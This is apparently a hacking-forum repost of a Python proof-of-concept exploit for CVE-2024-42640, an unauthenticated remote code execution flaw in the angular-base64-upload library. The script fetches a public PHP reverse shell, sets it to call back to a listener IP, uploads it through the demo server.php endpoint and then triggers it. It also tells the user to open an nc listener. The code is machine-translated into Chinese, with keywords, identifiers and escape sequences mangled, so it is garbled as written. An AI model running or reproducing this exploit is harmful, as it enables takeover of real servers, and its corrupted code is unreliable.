H

Angular-Base64-Upload库0.1.20-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#!/bin/python3
#利用title:通过Angular-Base64-Upload库未经验证的RCE
#DATE: 2024年10月10日
#由: Ravindu Wickramasinghe发现| rvz(@rvizx9)
#利用作者: Ravindu Wickramasinghe | rvz(@rvizx9)
#供应商homepage3360 https://www.npmjs.com/package/angular-base64-upload
#软件link: https://github.com/adonespitogo/angular-base64-upload
#版本:在v0.1.21之前
#测试在: Arch Linux
#CVE : CVE-2024-42640
#严重性:关键-10.0(CVSS 4.0)
#github链接: https://github.com/rvizx/cve-2024-42640
#博客文章: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html
#免责:
#该证明(POC)利用严格是出于教育和研究目的提供的。
#它旨在展示潜在的漏洞并帮助测试软件系统的安全姿势。
#作者明确披露了出于恶意目的或非法活动的滥用本守则的任何责任。
#该代码采取的任何措施都是由用户自行决定和风险进行的。
#作者不容忍,鼓励或支持计算机系统的任何未经授权的访问,入侵或中断。
#严格禁止以任何未经授权或不道德的方式使用这种POC利用。
#通过使用此代码,您同意对您的行动承担所有责任和责任。
#此外,作者对由于使用或滥用本守则而造成的任何损害或法律影响不应承担任何责任。
#您有责任确保遵守有关您对该软件使用的所有适用法律和法规。
#谨慎行事,并负责任地使用此代码。
导入
导入子过程
导入请求
导入系统
导入操作系统
导入uuid
导入基础64
def Banner():
打印(''''
\ 033 [2MCVE-2024-42640 \ 033 [0M-通过Anuglar-Base64-Upload库\ 033 [2M POC Exploit
\ 033 [0mravindu wickramasinghe \ 033 [2m | RVZ(ラヴィズ)-Twitter: @rvizx9
https://github.com/rvizx/\033 [0MCVE-2024-42640
''))
Def Enum(URL):
print('\ 033 [94M [INF] : \ 033 [0m枚举依赖性安装目录.')
target=f'{url}/bower_components/angular-base64-upload/demo/index.html'
r=requests.head(目标)
如果r.status_code==200:
print('\ 033 [94M [INF] : \ 033 [0M目标使用Bower_components')
其他:
print('\ 033 [94M [INF] : \ 033 [0M目标不使用Bower_components')
target=f'{url}/node_modules/angular-base64-upload/demo/index.html'
r=requests.head(目标)
如果r.status_code==200:
print('\ 033 [94M [INF] : \ 033 [0M目标使用node_modules')
其他:
print('\ 033 [94M [INF] : \ 033 [0M目标不使用node_modules')
print('\ 033 [91m [err] : \ 033 [0M发生错误,无法枚举Angular-Base64-upload/demo/indeex.html')
print('\ 033 [93m [ins] : \ 033 [0m,请确保已将目标定义为依赖项安装目录之前的端点')
print('\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html')
print('\ 033 [91m [err] : \ 033 [0m退出.')
出口()
版本=next((inespects.get中的行中的行(target.replace)('demo/index.html','changelog.md'))。
print('\ 033 [94M [INF] : \ 033 [0M Angular-Base64-Upload版本:',版本)
利用(目标)
DEF漏洞利用(目标):
打印(f'[dbg] : {target}')
target_server_url=target.replace('index.html','server.php')
打印(f'[dbg] : {target_server_url}')
payload_url='https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php'
print('\ 033 [94M [INF] : \ 033 [0M生成PHP反向外壳上传.')
ip=输入('\ 033 [93m [ins] : \ 033 [0M输入侦听器IP/domain:')
端口=输入('\ 033 [93M [ins] : \ 033 [0M输入侦听器port:')
print(f'\ 033 [93m [ins] : \ 033 [0M启动侦听器,执行nc -lvnp {port}')
输入('\ 033 [93m [ins] : \ 033 [0m按Enter Enter in stunne .')
print('\ 033 [94M [INF] : \ 033 [0M从GitHub/PentestMonkey下载PHP - 反向壳.')
响应=requests.get(payload_url)
if antsphy.status_code==200:
php_code=response.text.replace('127.0.0.1',ip).replace('1234',端口)#用用户输入替换默认值
payload_name=str(uuid.uuid4())+'。php'#使用uuid进行有效载荷名称
用file:打开(payload_name,'w')
file.write(php_code)
其他:
print('\ 033 [91m [err] : \ 033 [0m无法获取php-refverse-shell。')
print('\ 033 [91m [err] : \ 033 [0m退出.')
出口()
使用open(payload_name,'rb')作为file:
file_content=file.read()
base64_payload=base64.b64encode(file_content).decode('utf-8')
标题={
'content-type':'应用程序/json',
}
json_data={
'base64': base64_payload,
'filename': payload_name,
}
响应=requests.post(target_server_url,标头=标题,json=json_data,verify=false)
print('\ 033 [94M [INF] : \ 033 [0M文件上传请求已发送![status-code] :',Response.status_code)
updemo_endpoint=f'uploads/{payload_name}'
打印(f'[dbg] : {updemo_endpoint}')
payload_url=target_server_url.replace('server.php',updemo_endpoint)
打印(f'[dbg] : {payload_url}')
if antsphy.status_code==200:
打印(f'\ 033 [94M [INF] : \ 033 [0m反向壳上传到{payload_url}')
print('\ 033 [94M [INF] : \ 033 [0m执行上传的倒向壳.')
r=requests.get(payload_url)
如果r.status_code==200:
print('\ 033 [94m [inf] : \ 033 [0m进程完成!')
其他:
print('\ 033 [91m [err] : \ 033 [0m出了问题!')
print('\ 033 [93m [ins] : \ 033 [0m,请检查听众是否传入连接。')
如果name=='__ -Main __':
TRY:
横幅()
url=sys.argv [1]
打印(f'\ 033 [94M [INF] : \ 033 [0M TARGET: {url}')
枚举(URL)
Except:
打印('[USG] :/exploit.py target-url')
出口()
 
后退
顶部